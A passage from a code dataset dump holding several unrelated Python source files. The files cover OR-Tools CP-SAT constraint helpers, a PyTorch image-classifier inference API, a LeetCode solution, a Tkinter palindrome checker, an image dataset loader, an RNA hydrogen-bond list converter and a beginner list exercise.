model.Add((x[i] == val)).OnlyEnforceIf(b[i])\n model.Add((x[i] != val)).OnlyEnforceIf(b[i].Not())\n model.Add(c == sum(b))\n\n\ndef atmost(model, val, x, n):\n \"\"\"\n atmost(model,val,x,n)\n\n Atmost n occurrences of value val in array x\n \"\"\"\n c = model.NewIntVar(0,len(x),\"c\")\n count_vars(model, x, val, c)\n model.Add(c <= n)\n\ndef atleast(model, val, x, n):\n \"\"\"\n atleast(model,val,x,n)\n\n Atleast n occurrences of value val in array x\n \"\"\"\n c = model.NewIntVar(0,len(x),\"c\")\n count_vars(model, x, val, c)\n model.Add(c >= n)\n\n\ndef exactly(model, val, x, n):\n \"\"\"\n exactly(model,val,x,n)\n\n Exactly n occurrences of value val in array x\n \"\"\"\n c = model.NewIntVar(0,len(x),\"c\")\n count_vars(model, x, val, c)\n model.Add(c == n)\n\n\ndef increasing(model, x):\n \"\"\"\n increasing(model, x)\n\n Ensure that x is in increasing order\n \"\"\"\n n = len(x) \n for i in range(1,n):\n model.Add(x[i-1] <= x[i])\n\ndef increasing_strict(model, x):\n \"\"\"\n increasing_strict(model, x)\n\n Ensure that x is in strict increasing order\n \"\"\"\n n = len(x) \n for i in range(1,n):\n model.Add(x[i-1] < x[i])\n\ndef decreasing(model, x):\n \"\"\"\n decreasing(model, x)\n\n Ensure that x is in decreasing order\n \"\"\"\n n = len(x) \n for i in range(1,n):\n model.Add(x[i-1] >= x[i])\n\ndef decreasing_strict(model, x):\n \"\"\"\n decreasing_strict(model, x)\n\n Ensure that x is in strict decreasing order\n \"\"\"\n n = len(x) \n for i in range(1,n):\n model.Add(x[i-1] > x[i])\n\n\ndef alldifferent_except_0(model, a):\n \"\"\"\n alldifferent_except_0(model, a)\n\n Ensure that all values except 0 are distinct\n \"\"\"\n n = len(a)\n # ba[i] <=> a[i] != 0\n ba = [model.NewBoolVar('ba[%i]' % (i)) for i in range(n)]\n for i in range(n):\n model.Add(a[i] != 0).OnlyEnforceIf(ba[i])\n model.Add(a[i] == 0).OnlyEnforceIf(ba[i].Not())\n\n for i in range(n):\n for j in range(i):\n # ba[i] && ba[j] -> x[i] != x[j]\n b = model.NewBoolVar('b[%i,%i]' % (i,j))\n model.AddBoolAnd([ba[i], ba[j]]).OnlyEnforceIf(b)\n model.AddBoolOr([ba[i].Not(), ba[j].Not()]).OnlyEnforceIf(b.Not())\n\n model.Add(a[i] != a[j]).OnlyEnforceIf(b) \n\n\ndef reif(model, expr):\n \"\"\"\n reif(model, expr, not_expr b)\n\n Return the boolean variable b to express\n b <=> expr\n Note that there are no negation of b here.\n \"\"\"\n b = model.NewBoolVar(\"b \" + str(expr))\n model.Add(expr).OnlyEnforceIf(b)\n return b\n\ndef reif2(model, expr, not_expr):\n \"\"\"\n reif2(model, expr, not_expr b)\n\n Return the boolean variable b to express\n b <=> expr\n !b <=> not_expr\n \"\"\" \n b = model.NewBoolVar(\"b expr:\" + str(expr) + \" neg: \" + str(not_expr))\n model.Add(expr).OnlyEnforceIf(b)\n model.Add(not_expr).OnlyEnforceIf(b.Not())\n return b\n\ndef flatten(a):\n \"\"\"\n flatten(a)\n\n Return a flattened list of the sublists in a.\n \"\"\"\n return [item for sublist in a for item in sublist]\n\n\ndef array_values(model, x):\n \"\"\"\n array_values(model,x)\n\n Return the evaluated values in array x.\n model is either the model's or SolutionPrinter's \n \"\"\"\n return [model.Value(x[i]) for i in range(len(x))]\n\n\ndef circuit(model, x):\n \"\"\"\n circuit(model, x)\n constraints x to be an circuit\n Note: This assumes that x is has the domain 0..len(x)-1,\n i.e. 0-based.\n\"\"\"\n\n n = len(x)\n z = [model.NewIntVar(0, n - 1, \"z%i\" % i) for i in range(n)]\n\n model.AddAllDifferent(x)\n model.AddAllDifferent(z)\n\n # put the orbit of x[0] in in z[0..n-1]\n model.Add(z[0] == x[0])\n for i in range(1, n - 1):\n model.AddElement(z[i - 1], x, z[i])\n\n #\n # Note: At least one of the following two constraint must be set.\n #\n # may not be 0 for i < n-1\n for i in range(1, n - 1):\n model.Add(z[i] != 0)\n\n # when i = n-1 it must be 0\n model.Add(z[n - 1] == 0)\n\n\ndef circuit_path(model, x,z):\n \"\"\"\n circuit(model, x, z)\n constraints x to be an circuit. z is the visiting path.\n\n Note: This assumes that x is has the domain 0..len(x)-1,\n i.e. 0-based.\n\"\"\"\n n = len(x)\n # z = [model.NewIntVar(0, n - 1, \"z%i\" % i) for i in range(n)]\n\n model.AddAllDifferent(x)\n model.AddAllDifferent(z)\n\n # put the orbit of x[0] in in z[0..n-1]\n model.Add(z[0] == x[0])\n for i in range(1, n - 1):\n model.AddElement(z[i - 1], x, z[i])\n\n #\n # Note: At least one of the following two constraint must be set.\n #\n # may not be 0 for i < n-1\n for i in range(1, n - 1):\n model.Add(z[i] != 0)\n\n # when i = n-1 it must be 0\n model.Add(z[n - 1] == 0)\n\n\n\ndef scalar_product(model, x, y, s):\n \"\"\"\n scalar_product(model, x, y, s, ub)\n\n Scalar product of `x` and `y`: `s` = sum(x .* y)\n\n Both `x` and `y` can be decision variables.\n\n `lb` and `ub` are the lower/upper bound of the temporary \n variables in the array `t`.\n\"\"\"\n n = len(x)\n slb, sub = s.Proto().domain\n t = [model.NewIntVar(slb,sub,\"\") for i in range(n)]\n for i in range(n):\n model.AddMultiplicationEquality(t[i],[x[i],y[i]])\n model.Add(s == sum(t))\n\n\n\ndef memberOf(model, x, val):\n \"\"\"\n memberOf(model, x, val)\n\n Ensures that the value `val` is in the array `x`.\n \"\"\"\n n = len(x)\n cc = model.NewIntVar(0,n,\"cc\")\n count_vars(model, x, val, cc)\n model.Add(cc > 0)\n return cc\n\n# converts a number (s) <-> an array of numbers (t) in the specific base.\ndef toNum(model, a, n, base=10):\n \"\"\"\n toNum(model, a, n, base)\n\n converts a number (`n`) <-> an array of numbers (`t`) in the \n specific base (`base`, default 10).\n \"\"\"\n alen = len(a)\n model.Add(\n n == sum([(base**(alen - i - 1)) * a[i] for i in range(alen)]))\n\n\n#\n# Decompositon of cumulative.\n#\n# Inspired by the MiniZinc implementation:\n# http://www.g12.csse.unimelb.edu.au/wiki/doku.php?id=g12:zinc:lib:minizinc:std:cumulative.mzn&s[]=cumulative\n# The MiniZinc decomposition is discussed in the paper:\n# A. Schutt, T. Feydy, P.J. Stuckey, and M. G. Wallace.\n# 'Why cumulative decomposition is not as bad as it sounds.'\n# Download:\n# http://www.cs.mu.oz.au/%7Epjs/rcpsp/papers/cp09-cu.pdf\n# http://www.cs.mu.oz.au/%7Epjs/rcpsp/cumu_lazyfd.pdf\n#\n#\n# Parameters:\n#\n# s: start_times assumption: array of IntVar\n# d: durations assumption: array of int\n# r: resources assumption: array of int\n# b: resource limit assumption: IntVar or int\n#\ndef my_cumulative(model, s, d, r, b):\n \"\"\"\n my_cumulative(model, s, d, r, b)\n\n Enforces that for each job i, \n `s[i]` represents the start time, `d[i] represents the \n duration, and `r[i]` represents the units of resources needed. \n `b` is the limit on the units of resources available at any time. \n This constraint ensures that the limit cannot be exceeded at any time.\n\n Parameters:\n\n `s`: start_times assumption: array of IntVar\n\n `d`: durations assumption: array of int\n \n `r`: resources assumption: array of int\n\n `b`: resource limit assumption: IntVar or int\n \"\"\"\n\n max_r = max(r) # max resource\n\n tasks = [i for i in range(len(s)) if r[i] > 0 and d[i] > 0]\n\n # CP-SAT solver don't have var.Min() or var.Max() as the \n # old SAT solver, but it does have var.Proto().domain which \n # is the lower and upper bounds of the variable ([lb,ub])\n # See \n # https://stackoverflow.com/questions/66264938/does-or-tools-cp-sat-solver-supports-reflection-methods-such-as-x-min-and-x\n lb = [s[i].Proto().domain[0] for i in tasks]\n ub = [s[i].Proto().domain[1] for i in tasks]\n\n times_min = min(lb)\n times_max = max(ub)\n for t in range(times_min, times_max + 1):\n bb = []\n for i in tasks:\n # s[i] < t\n b1 = model.NewBoolVar(\"\")\n model.Add(s[i] <= t).OnlyEnforceIf(b1)\n model.Add(s[i] > t).OnlyEnforceIf(b1.Not())\n\n # t < s[i] + d[i]\n b2 = model.NewBoolVar(\"\")\n model.Add(t < s[i] + d[i]).OnlyEnforceIf(b2)\n model.Add(t >= s[i] + d[i]).OnlyEnforceIf(b2.Not())\n\n # b1 and b2 (b1 * b2)\n b3 = model.NewBoolVar(\"\")\n model.AddBoolAnd([b1,b2]).OnlyEnforceIf(b3)\n model.AddBoolOr([b1.Not(),b2.Not()]).OnlyEnforceIf(b3.Not())\n\n # b1 * b2 * r[i]\n b4 = model.NewIntVar(0, max_r, \"b4\")\n model.AddMultiplicationEquality(b4,[b3,r[i]])\n bb.append(b4)\n\n model.Add(sum(bb) <= b)\n\n # Somewhat experimental:\n # This constraint is needed to contrain the upper limit of b.\n if not isinstance(b, int):\n model.Add(b <= sum(r))\n\n\ndef prod(model, x, p):\n \"\"\"\n prod(model, x, p)\n\n `p` is the product of the elements in array `x`\n p = x[0]*x[1]*...x[-1]\n Note: This trickery is needed since `AddMultiplicationEquality`\n (as of writing) don't support more than two products at a time.\n \"\"\"\n n = len(x)\n lb, ub = x[0].Proto().domain\n t = [model.NewIntVar(lb,ub**(i+1),\"t\") for i in range(n)]\n model.Add(t[0] == x[0])\n for i in range(1,n):\n model.AddMultiplicationEquality(t[i],[t[i-1],x[i]])\n model.Add(p == t[-1])\n\n\n\ndef knapsack(model, values, weights, n):\n \"\"\"\n knapsack(model, values, weights, n)\n\n Solves the knapsack problem.\n\n `x`: the selected items\n\n `z`: sum of values of the selected items\n\n `w`: sum of weights of the selected items\n \"\"\"\n z = model.NewIntVar(0, sum(values), \"z\") \n x = [model.NewIntVar(0, 1, \"x(%i)\" % i) for i in range(len(values))]\n scalar_product(model, x, values, z)\n w = model.NewIntVar(0,sum(weights), \"w\")\n scalar_product(model, x, weights, w)\n model.Add(w <= n)\n\n return x, z, w\n\n\ndef global_cardinality(model, x, domain, gcc):\n \"\"\"\n global_cardinality(model, x, domain, gcc)\n\n For each value in the array `domain`, the array `gcc` \n counts the number of occurrences in array `x`.\n\n The length of `domain` must the same as the length of `gcc`.\n \"\"\"\n assert len(gcc) == len(domain) \n for i in range(len(domain)):\n count_vars(model, x, domain[i], gcc[i])\n\n\n\n#\n# Global constraint regular\n#\n# This is a translation of MiniZinc's regular constraint (defined in\n# lib/zinc/globals.mzn), via the Comet code refered above.\n# All comments are from the MiniZinc code.\n# '''\n# The sequence of values in array 'x' (which must all be in the range 1..S)\n# is accepted by the DFA of 'Q' states with input 1..S and transition\n# function 'd' (which maps (1..Q, 1..S) -> 0..Q)) and initial state 'q0'\n# (which must be in 1..Q) and accepting states 'F' (which all must be in\n# 1..Q). We reserve state 0 to be an always failing state.\n# '''\n#\n# x : IntVar array\n# Q : number of states\n# S : input_max\n# d : transition matrix\n# q0: initial state\n# F : accepting states\n#\n# Note: The difference between this approach and \n# the one in MiniZinc is that instead of element/2\n# AddAllowedAssignements (i.e. table/2) is used.\n# The AddElement approach is implemented in\n# the regular_element method (see below).\n#\n# It seems that regular_table is faster than \n# regular_element.\n# \ndef regular_table(model, x, Q, S, d, q0, F):\n \"\"\"\n regular_table(model, x, Q, S, d, q0, F)\n\n `x` : IntVar array\n\n `Q` : number of states\n\n `S` : input_max\n\n `d` : transition matrix\n\n `q0`: initial state\n\n `F` : accepting states\n\n `regular_table` seems to be faster than the `regular` method.\n \"\"\"\n assert Q > 0, 'regular: \"Q\" must be greater than zero'\n assert S > 0, 'regular: \"S\" must be greater than zero'\n\n # d2 is the same as d, except we add one extra transition for\n # each possible input; each extra transition is from state zero\n # to state zero. This allows us to continue even if we hit a\n # non-accepted input.\n d2 = []\n for i in range(Q + 1):\n for j in range(S):\n if i == 0:\n d2.append((0, j, 0))\n else:\n d2.append((i, j, d[i - 1][j]))\n\n # If x has index set m..n, then a[m-1] holds the initial state\n # (q0), and a[i+1] holds the state we're in after processing\n # x[i]. If a[n] is in F, then we succeed (ie. accept the\n # string).\n x_range = list(range(0, len(x)))\n m = 0\n n = len(x)\n\n a = [model.NewIntVar(0, Q + 1, 'a[%i]' % i) for i in range(m, n + 1)]\n\n # Check that the final state is in F\n # solver.Add(solver.MemberCt(a[-1], F))\n memberOf(model,F,a[-1])\n\n # First state is q0\n model.Add(a[m] == q0)\n _xlb, xub = x[0].Proto().domain\n for i in x_range:\n model.Add(x[i] >= 1)\n model.Add(x[i] <= S)\n # Determine a[i+1]: a[i+1] == d2[a[i], x[i]]\n xi1 = model.NewIntVar(0,xub,\"xi1\")\n model.Add(xi1 == x[i]-1)\n model.AddAllowedAssignments([a[i], xi1, a[i + 1]], d2)\n\n\n\n#\n# Global constraint regular\n#\n# This is a translation of MiniZinc's regular constraint (defined in\n# lib/zinc/globals.mzn), via Comet code.\n# All comments are from the MiniZinc code.\n# '''\n# The sequence of values in array 'x' (which must all be in the range 1..S)\n# is accepted by the DFA of 'Q' states with input 1..S and transition\n# function 'd' (which maps (1..Q, 1..S) -> 0..Q)) and initial state 'q0'\n# (which must be in 1..Q) and accepting states 'F' (which all must be in\n# 1..Q). We reserve state 0 to be an always failing state.\n# '''\n#\n# x : IntVar array\n# Q : number of states\n# S : input_max\n# d : transition matrix\n# q0: initial state\n# F : accepting states\n#\n# Cf regulat_table which use AllowedAssignments\n# instead of Element.\n# Note: It seems that regular_element is slower than regular_table.\n#\ndef regular_element(model,x, Q, S, d, q0, F):\n \"\"\"\n regular_element(model, x, Q, S, d, q0, F)\n\n `x` : IntVar array\n\n `Q` : number of states\n\n `S` : input_max\n\n `d` : transition matrix\n\n `q0`: initial state\n\n `F` : accepting states\n\n `regular` seems to be slower than the `regular_table` method.\n \"\"\"\n assert Q > 0, 'regular: \"Q\" must be greater than zero'\n assert S > 0, 'regular: \"S\" must be greater than zero'\n\n # d2 is the same as d, except we add one extra transition for\n # each possible input; each extra transition is from state zero\n # to state zero. This allows us to continue even if we hit a\n # non-accepted input.\n d2 = []\n for i in range(Q + 1):\n row = []\n for j in range(S):\n if i == 0:\n row.append(0)\n else:\n row.append(d[i - 1][j])\n d2.append(row)\n\n # d2_flatten = flatten(d2)\n d2_flatten = [d2[i][j] for i in range(Q + 1) for j in range(S)]\n\n # If x has index set m..n, then a[m-1] holds the initial state\n # (q0), and a[i+1] holds the state we're in after processing\n # x[i]. If a[n] is in F, then we succeed (ie. accept the\n # string).\n x_range = list(range(0, len(x)))\n m = 0\n n = len(x)\n\n a = [model.NewIntVar(0, Q + 1, 'a[%i]' % i) for i in range(m, n + 1)]\n \n # Check that the final state (a[-1]) is in F (accepatble final states)\n memberOf(model, F, a[-1])\n\n # First state is q0\n model.Add(a[m] == q0)\n for i in x_range:\n model.Add(x[i] >= 1)\n model.Add(x[i] <= S)\n \n # Determine a[i+1]: a[i+1] == d2[a[i], x[i]]\n # AddElement(index, variables, target)\n ix = model.NewIntVar(0,len(d2_flatten)*1000,f\"ix(%i)\" % (i))\n model.Add(ix == ((a[i]) * S) + (x[i] - 1))\n model.AddElement(ix, d2_flatten, a[i + 1])\n\n\n#\n# No overlapping of tasks s1 and s2\n#\ndef no_overlap(model, s1, d1, s2, d2):\n \"\"\"\n no_overlap(model, s1, d1, s2, d2)\n\n Ensure that there are no overlap of task 1 (`s1` + `d1`)\n and task 2 (`s2` + `d2`)\n \"\"\"\n b1 = model.NewBoolVar(\"b1\") \n model.Add(s1 + d1 <= s2).OnlyEnforceIf(b1)\n b2 = model.NewBoolVar(\"b1\") \n model.Add(s2 + d2 <= s1).OnlyEnforceIf(b2)\n model.Add(b1 + b2 >= 1)\n\n\n\ndef permutation3(model, from_a, perm_a, to_a):\n \"\"\"\n Ensure that the permutation of `from_a` to `to_a` is \n the permutation `perm_a`\n \"\"\"\n assert len(from_a) == len(perm_a), f\"Length of `from_a` and `perm_a` must be the same\"\n assert len(from_a) == len(to_a), f\"Length of `from_a` and `to_a` must be the same\"\n model.AddAllDifferent(perm_a)\n for i in range(len(from_a)):\n # to_a[i] = from_a[perm_a[i]]\n model.AddElement(perm_a[i],from_a,to_a[i])\n","repo_name":"hakank/hakank","sub_path":"google_or_tools/cp_sat_utils.py","file_name":"cp_sat_utils.py","file_ext":"py","file_size_in_byte":19569,"program_lang":"python","lang":"en","doc_type":"code","stars":339,"dataset":"github-code","pt":"7"} +{"seq_id":"1567768795","text":"import torch\nimport numpy as np\nfrom SpecialTopic.ST.build import build_detector\nfrom SpecialTopic.ST.dataset.utils import Compose\n\n\ndef init_model(cfg='none', model_type='ResNet', phi='m', num_classes=100, device='auto', pretrained='none',\n with_pipeline=True, input_size=(224, 224)):\n if device == 'auto':\n device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n model_cfg = {\n # 這裡需要提供使用哪種模型\n 'type': model_type,\n # 提供模型尺寸\n 'phi': phi,\n # 提供類別數量\n 'num_classes': num_classes,\n # 這裡會將骨幹的預訓練權重設定成none,之後會對整個模型加載權重\n 'pretrained': 'none'\n }\n if cfg != 'none':\n # 如果想要完全自定義模型設定檔,就直接把整個設定檔傳入\n model_cfg = cfg\n model = build_detector(model_cfg)\n if pretrained != 'none':\n pretrained_dict = torch.load(pretrained, map_location='cpu')\n if 'model_weight' in pretrained_dict:\n model_weight = pretrained_dict['model_weight']\n else:\n model_weight = pretrained_dict\n model.load_state_dict(model_weight)\n else:\n print('未加載訓練好權重,預測是無效的')\n model = model.to(device)\n model = model.eval()\n if with_pipeline:\n pipeline_cfg = [\n {'type': 'ResizeSingle', 'input_shape': input_size, 'save_info': False, 'keep_ratio': True},\n {'type': 'NormalizeSingle', 'mean': [0.485, 0.456, 0.406], 'std': [0.229, 0.224, 0.225], 'to_rgb': True},\n {'type': 'Collect', 'keys': ['image']}]\n pipeline = Compose(pipeline_cfg)\n model.pipeline = pipeline\n return model\n\n\ndef detect_single_picture(model, image, pipeline=None, device='auto'):\n model = model.eval()\n assert isinstance(image, np.ndarray)\n if device == 'auto':\n device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n data = dict(image=image, label=0)\n if pipeline is not None:\n data = pipeline(data)\n elif hasattr(model, 'pipeline'):\n data = model.pipeline(data)\n else:\n raise RuntimeError('沒有提供資料處理流')\n image = data['image']\n image = image.transpose((2, 0, 1))\n image = torch.from_numpy(image)\n image = image.unsqueeze(dim=0)\n image = image.to(device)\n model = model.to(device)\n with torch.no_grad():\n output = model(image, with_loss=False)\n return output\n","repo_name":"chris901003/DeepLearning","sub_path":"SpecialTopic/ClassifyNet/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2531,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"7"} +{"seq_id":"72900793822","text":"\"\"\"\nhttps://leetcode.com/problems/maximum-number-of-occurrences-of-a-substring/\n\"\"\"\n\nfrom collections import Counter\n\n\nclass Solution:\n def maxFreq(\n self,\n s: str,\n maxLetters: int,\n minSize: int,\n maxSize: int\n ) -> int:\n \"\"\"\n 1. If a string has x occurrences, its substring must occur at least x\n times.\n 2. A substring must have minSize length.\n 3. So we could simply count all substring with minSize length, then\n check if each substring satisfy the conditions.\n 4. Notice that maxSize is not needed in this case as we are counting\n the maximum number of occurrences for a substring, and if the\n substring is longer than the minSize, it must have less occurrences.\n \"\"\"\n cnt = Counter(s[i:i + minSize] for i in range(len(s) - minSize + 1))\n return max([cnt[w] for w in cnt if len(set(w)) <= maxLetters] or [0])\n","repo_name":"eronekogin/leetcode","sub_path":"2022/maximum_number_of_occurrences_of_a_substring.py","file_name":"maximum_number_of_occurrences_of_a_substring.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"18309398151","text":"from tkinter import *\nfrom TkPagesEvent.PalindromeConfirmationPageHandle import *\n\n\nclass PalindromeConfirmationPageFrame(Frame):\n def __init__(self, root):\n super().__init__(root, bg='white')\n self.drawPage()\n\n def drawPage(self):\n Label(self, bg='white', text='回 文 确 定 器', font='Helvetic 22 bold',\n fg='blue').grid(row=0, column=1, pady=40, columnspan=2)\n self.entry = Entry(self, width=24, font='Helvetic 20 bold')\n self.entry.grid(row=1, column=0, padx=15, pady=10, columnspan=4)\n self.button1 = Button(self, text='判断', width=8, font='Times 14 bold',\n height=2, command=self.cal, bg='lightblue')\n self.button1.grid(row=2, column=0, columnspan=2, pady=25)\n\n self.button2 = Button(self, text='清空', width=8, font='Times 14 bold',\n height=2, command=self.delete, bg='lightblue')\n self.button2.grid(row=2, column=2, columnspan=2, pady=25)\n self.var = StringVar()\n self.label = Label(self, bg='lightgreen', fg=\"blue\", font='''Times\n 22 bold''', textvariable=self.var, width=22)\n self.label.grid(row=3, column=0, columnspan=4, pady=30)\n\n def delete(self):\n self.entry.delete(0, END)\n self.var.set(\" \")\n\n def cal(self):\n self.var.set(str(PalindromeConfirmationPageHandle(\n self.entry.get()).checkHandle()))\n","repo_name":"Aslan-Zhou/LearningPyTkinter","sub_path":"tkdemo/TkPages/PalindromeConfirmationPageFrame.py","file_name":"PalindromeConfirmationPageFrame.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"36609059115","text":"from torch.utils.data import Dataset\nfrom PIL import Image\nimport os\nimport os.path\nimport torchvision.transforms as transforms\nIMG_EXTENSIONS = [\n '.jpg', '.JPG', '.jpeg', '.JPEG',\n '.png', '.PNG', '.ppm', '.PPM', '.bmp', '.BMP',\n]\ntrain_transform = transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n])\n\ntest_trainsform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n])\ndef default_loader(path):\n return Image.open(path).convert('RGB')\ndef is_image_file(filename):\n return any(filename.endswith(extension) for extension in IMG_EXTENSIONS)\ndef make_dataset(dir):\n images = []\n assert os.path.isdir(dir), '%s is not a valid directory' % dir\n for root, _, fnames in sorted(os.walk(dir)):\n for fname in fnames:\n if is_image_file(fname):\n path = os.path.join(root, fname)\n images.append(path)\n return images\ndef default_reader(file_path):\n imlist = []\n print(file_path)\n with open(file_path, 'r') as rf:\n for line in rf.readlines():\n impath = line.strip()\n imlist.append(impath)\n\n return imlist\ndef save_file_txt(flist,file_name):\n with open(file_name,'w') as rf:\n for f in flist:\n rf.writelines(f+'\\n')\nclass ImageFilelist(Dataset):\n def __init__(self, file, transform=None,\n flist_reader=default_reader, loader=default_loader,save_file=save_file_txt):\n self.root = \"\"\n self.flist=make_dataset(\"./train\")\n self.save_file=save_file(self.flist,file)\n self.imlist = flist_reader(file)\n self.transform = transform\n self.loader = loader\n self.classes = sorted(list(set([\n str((path.split(\"\\\\\")[-1]).split('_')[0])+str((path.split(\"\\\\\")[-1]).split('_')[1])\n for path in self.imlist])))\n self.class_to_idx = {self.classes[i]: i for i in range(len(self.classes))}\n print(self.class_to_idx)\n self.imgs = [(impath, self.class_to_idx[str((impath.split(\"\\\\\")[-1]).split('_')[0])+str((impath.split(\"\\\\\")[-1]).split('_')[1])]) for impath in self.imlist]\n def __getitem__(self, index):\n impath, label = self.imgs[index]\n img = self.loader(os.path.join(self.root, impath))\n if self.transform is not None:\n img = self.transform(img)\n return img, label\n\n def __len__(self):\n return len(self.imgs)\n\na=ImageFilelist(\"tmp.txt\",train_transform)\nfor i,(image,label) in enumerate(a):\n print(image.shape,label)","repo_name":"shaoshitong/Gauss","sub_path":"ImageDataloader.py","file_name":"ImageDataloader.py","file_ext":"py","file_size_in_byte":2720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"42514604475","text":"#!/usr/bin/env python\n\nimport sys\n#CAN 4 B 19 B 3\n#CAN 5 B 18 B 3\n#NON 5 B 21 B 1\n#NON 5 S 21 B 1 N4 O6 N3 N1 O2 N2\n\nf_out = open('16SCD.hb.list','w')\n\nfor l in open('16SCD_16SCD_unprocessed_bonds.dat'):\n lsp = l.strip().split()\n\n c1 = lsp[0][0:3]\n\n res1 = int(lsp[1])\n if res1 < 842:\n nt1 = res1 - 561\n else:\n nt1 = res1 - 567\n res2 = int(lsp[2])\n if res2 < 842:\n nt2 = res2 - 561\n else:\n nt2 = res2 - 567\n\n n_pair = (len(lsp) - 4) / 2\n\n atoms = []\n types = []\n for ipair in range(n_pair):\n atom1 = lsp[3 + 2*ipair] # column\n if atom1 in (\"OP1\", \"OP2\"):\n type1 = 'P'\n elif atom1 in (\"O2'\", \"O4'\"):\n type1 = 'S'\n elif atom1 in (\"N1\", \"N2\", \"N3\", \"N4\", \"N6\", \"N7\", \"O2\", \"O4\", \"O6\"):\n type1 = 'B'\n else:\n print ('Error: atom1 type does not exist')\n sys.exit(2)\n atom2 = lsp[3 + 2*ipair + 1] # column\n if atom2 in (\"OP1\", \"OP2\"):\n type2 = 'P'\n elif atom2 in (\"O2'\", \"O4'\"):\n type2 = 'S'\n elif atom2 in (\"N1\", \"N2\", \"N3\", \"N4\", \"N6\", \"N7\", \"O2\", \"O4\", \"O6\"):\n type2 = 'B'\n else:\n print ('Error: atom2 type does not exist')\n sys.exit(2)\n\n atoms.append( (atom1, atom2) )\n types.append( (type1, type2) )\n\n nPP = 0 ; atoms_PP = []\n nPS = 0 ; atoms_PS = []\n nPB = 0 ; atoms_PB = []\n nSP = 0 ; atoms_SP = []\n nSS = 0 ; atoms_SS = []\n nSB = 0 ; atoms_SB = []\n nBP = 0 ; atoms_BP = []\n nBS = 0 ; atoms_BS = []\n nBB = 0 ; atoms_BB = []\n\n for atm, typ in zip(atoms,types):\n if (typ[0] == 'P' and typ[1] == 'P'):\n nPP += 1\n atoms_PP.append(atm)\n elif (typ[0] == 'P' and typ[1] == 'S'):\n nPS += 1\n atoms_PS.append(atm)\n elif (typ[0] == 'P' and typ[1] == 'B'):\n nPB += 1\n atoms_PB.append(atm)\n elif (typ[0] == 'S' and typ[1] == 'P'):\n nSP += 1\n atoms_SP.append(atm)\n elif (typ[0] == 'S' and typ[1] == 'S'):\n nSS += 1\n atoms_SS.append(atm)\n elif (typ[0] == 'S' and typ[1] == 'B'):\n nSB += 1\n atoms_SB.append(atm)\n elif (typ[0] == 'B' and typ[1] == 'P'):\n nBP += 1\n atoms_BP.append(atm)\n elif (typ[0] == 'B' and typ[1] == 'S'):\n nBS += 1\n atoms_BS.append(atm)\n elif (typ[0] == 'B' and typ[1] == 'B'):\n nBB += 1\n atoms_BB.append(atm)\n\n if c1 == 'CAN':\n if (nPP > 0 or nPS > 0 or nPB > 0 or\n nSP > 0 or nSS > 0 or nSB > 0 or\n nBP > 0 or nBS > 0 or nBB == 0):\n print ('Error: CAN has to be B-B')\n print (l)\n sys.exit(2)\n\n if nPP > 0:\n f_out.write('%s %4i P %4i P %i' % (c1, nt1, nt2, nPP))\n for atm in atoms_PP:\n f_out.write(' %s %s' % (atm[0],atm[1]))\n f_out.write('\\n')\n if nPS > 0:\n f_out.write('%s %4i P %4i S %i' % (c1, nt1, nt2, nPS))\n for atm in atoms_PS:\n f_out.write(' %s %s' % (atm[0],atm[1]))\n f_out.write('\\n')\n if nPB > 0:\n f_out.write('%s %4i P %4i B %i' % (c1, nt1, nt2, nPB))\n for atm in atoms_PB:\n f_out.write(' %s %s' % (atm[0],atm[1]))\n f_out.write('\\n')\n\n if nSP > 0:\n f_out.write('%s %4i S %4i P %i' % (c1, nt1, nt2, nSP))\n for atm in atoms_SP:\n f_out.write(' %s %s' % (atm[0],atm[1]))\n f_out.write('\\n')\n if nSS > 0:\n f_out.write('%s %4i S %4i S %i' % (c1, nt1, nt2, nSS))\n for atm in atoms_SS:\n f_out.write(' %s %s' % (atm[0],atm[1]))\n f_out.write('\\n')\n if nSB > 0:\n f_out.write('%s %4i S %4i B %i' % (c1, nt1, nt2, nSB))\n for atm in atoms_SB:\n f_out.write(' %s %s' % (atm[0],atm[1]))\n f_out.write('\\n')\n\n if nBP > 0:\n f_out.write('%s %4i B %4i P %i' % (c1, nt1, nt2, nBP))\n for atm in atoms_BP:\n f_out.write(' %s %s' % (atm[0],atm[1]))\n f_out.write('\\n')\n if nBS > 0:\n f_out.write('%s %4i B %4i S %i' % (c1, nt1, nt2, nBS))\n for atm in atoms_BS:\n f_out.write(' %s %s' % (atm[0],atm[1]))\n f_out.write('\\n')\n if nBB > 0:\n f_out.write('%s %4i B %4i B %i' % (c1, nt1, nt2, nBB))\n for atm in atoms_BB:\n f_out.write(' %s %s' % (atm[0],atm[1]))\n f_out.write('\\n')\n\nf_out.close()\n","repo_name":"naotohori/16S-central-folding","sub_path":"analysis/make_ninfo/hb_list_convert.py","file_name":"hb_list_convert.py","file_ext":"py","file_size_in_byte":4542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1061588803","text":"\n#append(x) inserta un valor al final de la lista\n#insert(pos, elem) inserta un elemento en un punto especifico\n#extend([e1, e2, e3]) agrega varios elementos a la lista\n#index(x) indica donde esta el indice de un elemento\n#in comprueba si un elemento se encuentra o no en la lita\n#remove(x) remover el primer valor de la lista\n#pop([x]) remueve el valor en la posicion x\n#len(x) permite determinar el tamaño de la lista\n\n\"\"\"\nActividad 2: Escribamos un programa que nos permita crear una lista de 6 números aleatorios entre 1 y 20 \nen Python, y creemos dos funciones que reciban la lista como parámetro de la siguiente forma:\n•\tmayor(x) - Una función que imprima el número mayor valor de una lista x\n•\tprimos(x) - Una función que imprima los números de la lista que son números primos\n\"\"\"\ndef lista():\n import random\n lista = []\n for i in range(6):\n lista.append(random.randint(1,20)) \n print(lista) \n 